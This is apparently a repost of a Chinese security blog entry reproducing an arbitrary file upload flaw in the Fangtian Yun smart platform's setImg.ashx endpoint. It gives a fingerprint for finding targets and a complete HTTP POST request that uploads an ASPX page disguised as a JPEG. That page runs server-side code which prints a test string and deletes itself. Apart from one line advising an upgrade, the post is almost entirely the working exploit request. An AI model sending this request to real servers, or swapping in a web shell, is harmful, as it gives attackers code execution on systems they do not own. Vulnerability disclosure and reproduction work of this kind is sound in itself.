body="AjaxMethods.asmx/GetCompanyItem"
POST /Data/setImg.ashx HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=----21909179191068471382830692394
------21909179191068471382830692394
Content-Disposition: form-data; name="Filedata"; filename="test.aspx"
Content-Type: image/jpeg
<%@Page Language="C#"%><%Response.Write("hello,world!");System.IO.File.Delete(Request.PhysicalPath);%>
------21909179191068471382830692394--
知识星球:冷漠安全
升级至安全版本
原文始发于微信公众号(冷漠安全):「漏洞复现」方天云智慧平台系统 setImg.ashx 文件上传漏洞
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论